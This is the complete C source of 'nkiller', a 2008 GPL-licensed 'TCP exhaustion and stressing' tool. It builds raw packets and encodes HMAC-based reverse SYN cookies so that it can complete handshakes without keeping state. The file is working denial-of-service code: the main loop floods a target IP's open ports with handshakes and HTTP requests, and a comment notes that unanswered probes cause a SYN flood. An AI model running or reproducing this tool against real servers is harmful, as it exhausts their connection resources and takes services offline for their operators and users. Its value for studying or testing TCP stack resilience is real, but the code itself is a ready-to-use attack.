/* * nkiller - a tcp exhaustion/stressing tool * Copyright (C) 2008 ithilgore * Copyright (C) 2008 Giorgos Keramidas * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ /* * Theoretical Idea first posted here: * http://seclists.org/bugtraq/2000/Apr/0152.html * * COMPILATION: * gcc nkiller.c -o nkiller -lpcap -lssl -Wall -O2 * * It has been tested and compiles successfully on Linux 2.6.26 and * FreeBSD 6.2/8.0 */ /* * Enable BSD-style (struct ip) support on Linux. */ #ifdef __linux__ # ifndef __FAVOR_BSD # define __FAVOR_BSD # endif # ifndef __USE_BSD # define __USE_BSD # endif # ifndef _BSD_SOURCE # define _BSD_SOURCE # endif # define IPPORT_MAX 65535u #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEFAULT_KEY "NETDOS1337" #define DEFAULT_NUM_PROBES 100 #define DEFAULT_POLLTIME 100000 #define DEFAULT_SLEEP_TIME 10000 #define WEB_PAYLOAD "GET / HTTP/1.0\015\012\015\012" /* Timeval subtraction in microseconds */ #define TIMEVAL_SUBTRACT(a, b) \ (((a).tv_sec - (b).tv_sec) * 1000000L + (a).tv_usec - (b).tv_usec) /* * Pseudo-header used for checksumming; this header should never reach the * wire */ typedef struct pseudo_hdr { uint32_t src; uint32_t dst; unsigned char mbz; unsigned char proto; uint16_t len; } pseudo_hdr; /* * Ethernet header stuff. */ #define ETHER_ADDR_LEN 6 #define SIZE_ETHERNET 14 typedef struct ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */ u_short ether_type; /* Frame type */ } ether_hdr; /* * Global nkiller options struct */ typedef struct Options { char target[16]; char skey[30]; char payload[200]; char url[200]; uint16_t *portlist; unsigned int probes; /* total number of fully-connected probes */ unsigned int polltime; unsigned int sleep; /* sleep time between each probe */ int dynamic; /* remove ports from list when we get RST */ int delay; int verbose; int debug; /* some debugging info */ int debug2; /* ALL debugging info */ } Options; /* * Port list types */ typedef struct port_elem { uint16_t port_val; struct port_elem *next; } port_elem; typedef struct port_list { port_elem *first; port_elem *last; } port_list; /* * Per-host information */ typedef struct HostInfo { struct in_addr daddr; /* ip address */ char *payload; char *url; size_t plen; /* payload length */ size_t wlen; /* url request length */ port_list ports; /* linked list of ports */ unsigned int portlen; /* how many ports */ } HostInfo; typedef struct SniffInfo { struct in_addr saddr; /* local ip */ pcap_if_t *dev; pcap_t *pd; unsigned int polltime; /* how many microsecods to poll pcap */ } SniffInfo; typedef struct Sock { struct in_addr saddr; struct in_addr daddr; uint16_t sport; uint16_t dport; } Sock; /* global vars */ Options o; /**** function declarations ****/ /* helper functions */ static void fatal(const char *fmt, ...); static void usage(void); static void help(void); static void *xcalloc(size_t nelem, size_t size); static void *xmalloc(size_t size); /* port-handling functions */ static void port_add(HostInfo *Target, uint16_t port); static void port_remove(HostInfo *Target, uint16_t port); static int port_exists(HostInfo *Target, uint16_t port); static uint16_t port_get_random(HostInfo *Target); static uint16_t *port_parse(char *portarg, unsigned int *portlen); /* packet helper functions */ static uint16_t checksum_comp(uint16_t *addr, int len); static void handle_payloads(HostInfo *Target); static uint32_t calc_cookie(Sock *sockinfo); /* sniffing functions */ static char *check_replies(HostInfo *Target, SniffInfo *Sniffer); static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer); /* packet handling functions */ static void send_packet(char* packet, unsigned int *packetlen); static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer); static int complete_connection(char *reply, HostInfo *Target); static char *build_tcpip_packet(const struct in_addr *source, const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *tcpdata, uint16_t datalen, unsigned int *packetlen); /**** function definitions ****/ /*! * \brief Wrapper around calloc() that calls fatal when out of memory */ static void * xcalloc(size_t nelem, size_t size) { void *p; p = calloc(nelem, size); if (p == NULL) fatal("Out of memory\n"); return p; } /*! * \brief Wrapper around xcalloc() that calls fatal() when out of memory */ static void * xmalloc(size_t size) { return xcalloc(1, size); } /* * vararg function called when sth _evil_ happens * usually in conjunction with __func__ to note * which function caused the RIP stat */ static void fatal(const char *fmt, ...) { va_list ap; va_start(ap, fmt); (void) vfprintf(stderr, fmt, ap); va_end(ap); exit(EXIT_FAILURE); } /*! * \brief print a short usage summary and exit */ static void usage(void) { fprintf(stderr, "nkiller [-t addr] [-p ports] [-k key] [-n probes] [-c msec]\n" " [-l payload] [-w url] [-s sleep] [-d level] [-hvy]\n" "Please use `-h' for detailed help.\n"); exit(EX_USAGE); } /*! * \brief Print detailed help */ static void help(void) { static const char *help_message = "nkiller - a TCP exhaustion & stressing tool\n" "\n" "Copyright (c) 2008 ithilgore \n" "\n" "nkiller is free software, covered by the GNU General Public License,\n" "and you are welcome to change it and/or distribute copies of it under\n" "certain conditions. See the file `COPYING' in the source\n" "distribution of nkiller for the conditions and terms that it is\n" "distributed under.\n" "\n" " WARNING:\n" "The authors disclaim any express or implied warranties, including,\n" "but not limited to, the implied warranties of merchantability and\n" "fitness for any particular purpose. In no event shall the authors or\n" "contributors be liable for any direct, indirect, incidental, special,\n" "exemplary, or consequential damages (including, but not limited to,\n" "procurement of substitute goods or services; loss of use, data, or\n" "profits; or business interruption) however caused and on any theory\n" "of liability, whether in contract, strict liability, or tort\n" "(including negligence or otherwise) arising in any way out of the use\n" "of this software, even if advised of the possibility of such damage.\n" "\n" "Usage:\n" "\n" " nkiller -t -p [options]\n" "\n" "Mandatory:\n" " -t target The IP address of the target host.\n" " -p port[,port] A list of ports, separated by commas. Specify\n" " only ports that are known to be open, or use -y\n" " when unsure.\n" "Options:\n" " -c msec Set the time, in microseconds, between each poll\n" " for packets (pcap poll timeout).\n" " -d level Set the debug level (1: some messages, 2: all)\n" " -h Print this help message.\n" " -k key Set the key for reverse SYN cookies.\n" " -l payload Additional payload string.\n" " -n probes Set the number of probe attempts.\n" " -s sleep Average time in microseconds between each probe.\n" " -w url URL or GET request to web server. The location\n" " a big file should work nicely here.\n" " -y Dynamic port handling. Remove ports from the\n" " port list if we get an RST for them. Useful when\n" " you do not know if the port is open for sure.\n" " -v Verbose mode.\n"; printf("%s", help_message); fflush(stdout); } /*! * \brief Build a TCP packet from its constituents */ static char * build_tcpip_packet(const struct in_addr *source, const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *data, uint16_t datalen, unsigned int *packetlen) { char *packet; struct ip *ip; struct tcphdr *tcp; pseudo_hdr *phdr; char *tcpdata; *packetlen = sizeof(*ip) + sizeof(*tcp) + datalen; packet = xmalloc(*packetlen + sizeof(*phdr)); ip = (struct ip *)packet; tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip)); tcpdata = (char *) ((char *)tcp + sizeof(*tcp)); memset(packet, 0, *packetlen); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = *packetlen; /* must be in host byte order for FreeBSD */ ip->ip_id = htons(ipid); /* kernel will fill with random value if 0 */ ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP; ip->ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip)); ip->ip_src.s_addr = source->s_addr; ip->ip_dst.s_addr = target->s_addr; tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = seq; tcp->th_ack = ack; tcp->th_x2 = 0; tcp->th_off = 5; tcp->th_flags = flags; tcp->th_win = htons(window); tcp->th_urp = 0; memcpy(tcpdata, data, datalen); /* pseudo header used for checksumming */ phdr = (struct pseudo_hdr *) ((char *)packet + *packetlen); phdr->src = source->s_addr; phdr->dst = target->s_addr; phdr->mbz = 0; phdr->proto = IPPROTO_TCP; phdr->len = ntohs(sizeof(*tcp) + datalen); /* tcp checksum */ tcp->th_sum = checksum_comp((unsigned short *)tcp, *packetlen - sizeof(*ip) + sizeof(*phdr)); return packet; } static void send_packet(char* packet, unsigned int *packetlen) { struct sockaddr_in sin; int sockfd, one; sin.sin_family = AF_INET; sin.sin_port = ((struct tcphdr *)(packet + sizeof(struct ip)))->th_dport; sin.sin_addr.s_addr = ((struct ip *)(packet))->ip_dst.s_addr; if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) fatal("cannot open socket"); one = 1; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one, sizeof(one)); if (sendto(sockfd, packet, *packetlen, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { fatal("sendto error: "); } close(sockfd); free(packet); } static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer) { char *packet; uint16_t sport, dport; uint32_t encoded_seq; unsigned int packetlen; Sock *sockinfo; sockinfo = xmalloc(sizeof(*sockinfo)); sport = (1024 + rand()) % 65536; dport = port_get_random(Target); /* calculate reverse cookie and encode value into sequence number */ sockinfo->saddr.s_addr = Sniffer->saddr.s_addr; sockinfo->daddr.s_addr = Target->daddr.s_addr; sockinfo->sport = sport; sockinfo->dport = dport; encoded_seq = calc_cookie(sockinfo); packet = build_tcpip_packet( &Sniffer->saddr, &Target->daddr, sport, dport, encoded_seq, 0, 64, rand() % (uint16_t)~0, 1024, TH_SYN, NULL, 0, &packetlen ); send_packet(packet, &packetlen); free(sockinfo); } /* perform pcap polling (until a certain timeout) and * return the packet you got - also check that the * packet we get is something we were expecting, according * to the reverse cookie we had set in the tcp seq field */ static char * check_replies(HostInfo *Target, SniffInfo *Sniffer) { int timedout = 0; int goodone = 0; const u_char *packet = NULL; char *reply = NULL; struct pcap_pkthdr phead; struct timeval now, wait; const struct ip *ip; const struct tcphdr *tcp; struct Sock sockinfo; uint32_t decoded_seq; uint32_t temp1, temp2; uint16_t datagram_len; if (gettimeofday(&wait, NULL) < 0) fatal("couldn't get time of day\n"); /* this shouldn't happen */ wait.tv_usec += Sniffer->polltime; /* poll for $polltime micro seconds */ do { datagram_len = 0; packet = pcap_next(Sniffer->pd, &phead); if (gettimeofday(&now, NULL) < 0) fatal("couldn't get time of day\n"); if (TIMEVAL_SUBTRACT(wait, now) < 0) { /* if (o.debug2) (void) fprintf(stdout, "pcap polling timed out\n"); */ timedout++; } if (packet == NULL) continue; /* this only works on Ethernet - be warned */ if (*(packet + 12) != 0x8) { break; /* not an IPv4 packet */ } ip = (const struct ip *) (packet + SIZE_ETHERNET); /* ip/tcp header checking - end cases are more than the ones * checked below - but are so rarely happening that for * now we won't go into trouble to validate - could also * use validedpkt() from nmap/tcpip.cc */ if (ip->ip_hl < 5) { if (o.debug2) (void) fprintf(stderr, "ip header < 20 bytes\n"); break; } if (ip->ip_p != IPPROTO_TCP) { if (o.debug2) (void) fprintf(stderr, "packet not TCP\n"); break; } datagram_len = ntohs(ip->ip_len); /* save length for later */ tcp = (const void *) ((const char *)ip + ip->ip_hl * 4); if (tcp->th_off < 5) { if (o.debug2) (void) fprintf(stderr, "tcp header < 20 bytes\n"); break; } if (tcp->th_flags & TH_ACK) { /* we swap the values accordingly since we want to * check the result with the 4tuple we had created * when sending our own syn probe */ sockinfo.saddr.s_addr = ip->ip_dst.s_addr; sockinfo.daddr.s_addr = ip->ip_src.s_addr; sockinfo.sport = ntohs(tcp->th_dport); sockinfo.dport = ntohs(tcp->th_sport); decoded_seq = calc_cookie(&sockinfo); temp1 = ntohl(tcp->th_ack) - 1; temp2 = ntohl(decoded_seq); /* there is a problem when comparing directly two * values returned by the ntohl functions - thus the * need of temp */ if (temp1 != temp2) break; /* that's our packet: a reply to something we have sent */ if (o.dynamic && port_exists(Target, sockinfo.dport)) { if (o.debug2) (void) fprintf(stderr, "port doesn't " "exist in list - probably removed it " "before due to an RST and dynamic " "handling\n"); break; } if (tcp->th_flags & TH_SYN) { goodone++; if (o.debug) (void) fprintf(stdout, "got SYN packet with seq: %x our port: " "%u target port: %u\n", decoded_seq, sockinfo.sport, sockinfo.dport); } else if (tcp->th_flags & TH_RST) { /* if we get an RST packet this means port is * closed and thus we remove the port from our * port list */ if (o.debug2) (void) fprintf(stdout, "oh oh! got an RST packet with seq: %x" " port %u is closed\n",decoded_seq, sockinfo.dport); if (o.dynamic) port_remove(Target, sockinfo.dport); } } } while (!timedout && !goodone); if (goodone) { reply = xmalloc(datagram_len); memcpy(reply, packet + SIZE_ETHERNET, datagram_len); } /* return the IP datagram */ return reply; } /* complete 3way handshake on the given port, * assuming that we get a valid packet from the caller * the (char *reply) is the ACK datagram (2nd step of handshake) */ static int complete_connection(char *reply, HostInfo *Target) { char *packet; unsigned int packetlen; uint32_t ack; struct ip *ip; struct tcphdr *tcp; ip = (struct ip *) reply; tcp = (struct tcphdr *) ((char *)ip + ip->ip_hl * 4); ack = ntohl(tcp->th_seq) + 1; packet = build_tcpip_packet( &ip->ip_dst, /* mind the swapping */ &ip->ip_src, ntohs(tcp->th_dport), ntohs(tcp->th_sport), tcp->th_ack, /* as seq field */ htonl(ack), 64, rand() % (uint16_t)~0, 1024, TH_ACK, (ntohs(tcp->th_sport) == 80)?Target->url:Target->payload, (ntohs(tcp->th_sport) == 80)?Target->wlen:Target->plen, &packetlen ); send_packet(packet, &packetlen); return 0; } /* reverse(or client) syn_cookie function - encode the 4tuple * { src ip, src port, dst ip, dst port } and a secret key into the sequence * number, thus keeping info of the packet inside itself * (idea taken by scanrand) */ static uint32_t calc_cookie(Sock *sockinfo) { uint32_t seq; unsigned int cookie_len; unsigned int input_len; unsigned char *input; unsigned char cookie[EVP_MAX_MD_SIZE]; input_len = sizeof(*sockinfo); input = xmalloc(input_len); memcpy(input, sockinfo, sizeof(*sockinfo)); /* calculate a sha1 hash based on the quadruple and the skey */ HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len, cookie, &cookie_len); free(input); /* get only the first 32 bits of the sha1 hash */ memcpy(&seq, &cookie, sizeof(seq)); return seq; } static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer) { char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program bpf; struct pcap_addr *address; struct sockaddr_in *ip; char filter[27]; strcpy((char *)&filter, "src host "); strncpy((char *)&filter[9], inet_ntoa(Target->daddr), 16); if (o.debug) (void) fprintf(stdout, "filter: %s\n", filter); if ((pcap_findalldevs(&Sniffer->dev, errbuf)) == -1) fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf); address = Sniffer->dev->addresses; address = address->next; /* first address is garbage */ if (address->addr) { ip = (struct sockaddr_in *) address->addr; memcpy(&Sniffer->saddr, &ip->sin_addr, sizeof(struct in_addr)); if (o.verbose) { (void) fprintf(stdout, "local IP: %s\ndevice name: " "%s\n", inet_ntoa(Sniffer->saddr), Sniffer->dev->name); } } else fatal("%s: couldn't find associated IP with interface %s\n", __func__, Sniffer->dev->name); if ((Sniffer->pd = pcap_open_live(Sniffer->dev->name, BUFSIZ, 0, 0, errbuf)) == NULL) fatal("%s: Could not open device %s: error: %s\n ", __func__, Sniffer->dev->name, errbuf); if (pcap_compile(Sniffer->pd , &bpf, filter, 0, 0) == -1) fatal("%s: Couldn't parse filter %s: %s\n ", __func__, filter, pcap_geterr(Sniffer->pd)); if (pcap_setfilter(Sniffer->pd, &bpf) == -1) fatal("%s: Couldn't install filter %s: %s\n", __func__, filter, pcap_geterr(Sniffer->pd)); if (pcap_setnonblock(Sniffer->pd, 1, NULL) < 0) fprintf(stderr, "couldn't set nonblocking mode\n"); } static uint16_t * port_parse(char *portarg, unsigned int *portlen) { char *endp; uint16_t *ports; unsigned int nports; unsigned long pvalue; char *temp; *portlen = 0; ports = xmalloc(65535 * sizeof(uint16_t)); nports = 0; while (nports < 65535) { if (nports == 0) temp = strtok(portarg, ","); else temp = strtok(NULL, ","); if (temp == NULL) break; endp = NULL; pvalue = strtoul(temp, &endp, 0); if (errno != 0 || *endp != '\0') { fprintf(stderr, "Invalid port number: %s\n", temp); goto cleanup; } if (pvalue > IPPORT_MAX) { fprintf(stderr, "Port number too large: %s\n", temp); goto cleanup; } ports[nports++] = (uint16_t)pvalue; } if (portlen != NULL) *portlen = nports; return ports; cleanup: free(ports); return NULL; } /* * check if port is in list * return 0 if it is, -1 if not * (similar to port_remove in logic) */ static int port_exists(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *before; current = Target->ports.first; before = Target->ports.first; while (current->port_val != port && current->next != NULL) { before = current; current = current->next; } if (current->port_val != port && current->next == NULL) { if (o.verbose) (void) fprintf(stderr, "%s: port %u doesn't exist in " "list\n", __func__, port); return -1; } else return 0; } /* remove specific port from portlist */ static void port_remove(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *before; current = Target->ports.first; before = Target->ports.first; while (current->port_val != port && current->next != NULL) { before = current; current = current->next; } if (current->port_val != port && current->next == NULL) { if (current != Target->ports.first) { if (o.verbose) (void) fprintf(stderr, "port %u not found in " "list\n", port); return; } } if (current != Target->ports.first) { before->next = current->next; } else { Target->ports.first = current->next; } Target->portlen--; if (!Target->portlen) fatal("no port left to hit!\n"); } /* * add new port to port linked list of Target */ static void port_add(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *newNode; newNode = xmalloc(sizeof(*newNode)); newNode->port_val = port; newNode->next = NULL; if (Target->ports.first == NULL) { Target->ports.first = newNode; Target->ports.last = newNode; return; } current = Target->ports.last; current->next = newNode; Target->ports.last = newNode; } /* return a random port from portlist */ static uint16_t port_get_random(HostInfo *Target) { port_elem *temp; int i, offset; temp = Target->ports.first; offset = (rand() % Target->portlen); i = 0; while (i < offset) { temp = temp->next; i++; } return temp->port_val; } static void handle_payloads(HostInfo *Target) { if (o.payload[0]) { Target->plen = strlen(o.payload); Target->payload = xmalloc(Target->plen); strncpy(Target->payload, o.payload, Target->plen); } else { Target->payload = NULL; Target->plen = 0; } /* send payload for additional stressing, if we deal with a web server */ if (o.url[0]) { Target->wlen = strlen(o.url) + sizeof("GET HTTP/1.0\015\012\015\012") - 1; Target->url = xmalloc(Target->wlen + 1); /* + 1 for trailing '\0' of snprintf() */ snprintf(Target->url, Target->wlen + 1, "GET %s HTTP/1.0\015\012\015\012", o.url); } else { Target->wlen = sizeof(WEB_PAYLOAD) - 1; Target->url = xmalloc(Target->wlen); memcpy(Target->url, WEB_PAYLOAD, Target->wlen); } } /* no way you have seen this before! */ static uint16_t checksum_comp(uint16_t *addr, int len) { register long sum = 0; uint16_t checksum; int count = len; uint16_t temp; while (count > 1) { temp = *addr++; sum += temp; count -= 2; } if (count > 0) sum += *(char *) addr; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); checksum = ~sum; return checksum; } int main(int argc, char **argv) { int print_help; int opt; int required; int debug_level; size_t i; unsigned int portlen; unsigned int probes; HostInfo *Target; SniffInfo *Sniffer; char *reply; srand(time(0)); if (argc == 1) { usage(); } memset(&o, 0, sizeof(o)); required = 0; portlen = 0; print_help = 0; /* option parsing */ while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:yh")) != -1) { switch (opt) { case 't': /* target address */ strncpy(o.target, optarg, sizeof(o.target)); required++; break; case 'k': /* secret key */ strncpy(o.skey, optarg, sizeof(o.skey)); break; case 'l': /* payload */ strncpy(o.payload, optarg, sizeof(o.payload) - 1); break; case 'w': /* url */ strncpy(o.url, optarg, sizeof(o.url) - 1); break; case 'c': /* polltime */ o.polltime = atoi(optarg); break; case 'p': /* destination port */ if (!(o.portlist = port_parse(optarg, &portlen))) fatal("Couldn't parse ports!\n"); required++; break; case 'n': /* number of probes */ o.probes = atoi(optarg); break; case 'v': /* verbose mode */ o.verbose = 1; break; case 'd': /* debug mode */ debug_level = atoi(optarg); if (debug_level != 1 && debug_level != 2) fatal("debug level must be 1 or 2\n"); else if (debug_level == 1) o.debug++; else { o.debug2++; o.debug++; } break; case 's': /* sleep time between each probe */ o.sleep = atoi(optarg); break; case 'y': /* dynamic port handling */ o.dynamic++; break; case 'h': /* help - usage */ print_help = 1; break; case '?': /* error */ usage(); break; } } if (print_help != 0) { help(); exit(EXIT_SUCCESS); } if (getuid() && geteuid()) fatal("need to be root\n"); if (required < 2) fatal("must define both -t and -p \n"); if (!o.sleep) { o.sleep = DEFAULT_SLEEP_TIME; if (o.verbose) (void) fprintf(stdout, "using default sleep time %u " "microseconds\n", DEFAULT_SLEEP_TIME); } Target = xmalloc(sizeof(HostInfo)); Sniffer = xmalloc(sizeof(SniffInfo)); Target->portlen = portlen; for (i = 0; i < Target->portlen; i++) { port_add(Target, o.portlist[i]); } inet_pton(AF_INET, o.target, &Target->daddr); /* some option manipulation */ if (!o.skey[0]) { strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey)); if (o.verbose) (void) fprintf(stdout, "using default skey: %s\n", o.skey); } if (o.polltime > 0) Sniffer->polltime = o.polltime; else { if (o.verbose) (void) fprintf(stdout, "using default pcap polling " "time: %u microseconds\n", DEFAULT_POLLTIME); Sniffer->polltime = DEFAULT_POLLTIME; } if (o.probes > 0) probes = o.probes; else { if (o.verbose) (void) fprintf(stdout, "using default number of probes" ": %u\n", DEFAULT_NUM_PROBES); probes = DEFAULT_NUM_PROBES; } handle_payloads(Target); sniffer_init(Target, Sniffer); /* main loop */ while (probes) { /* as it is, there is the possibility of sending more probes * than we get, since pcap polling might time out - and we only * care about completing as many requests as defined in $probes * the additional probes that have not been answered will either * create a syn flood or will have already been dropped */ send_syn_probe(Target, Sniffer); usleep(o.sleep); /* wait a bit before each probe */ reply = check_replies(Target, Sniffer); if (reply) { complete_connection(reply, Target); probes--; /* reduce probes left when we actually * complete a handshake */ free(reply); } } exit(EXIT_SUCCESS); }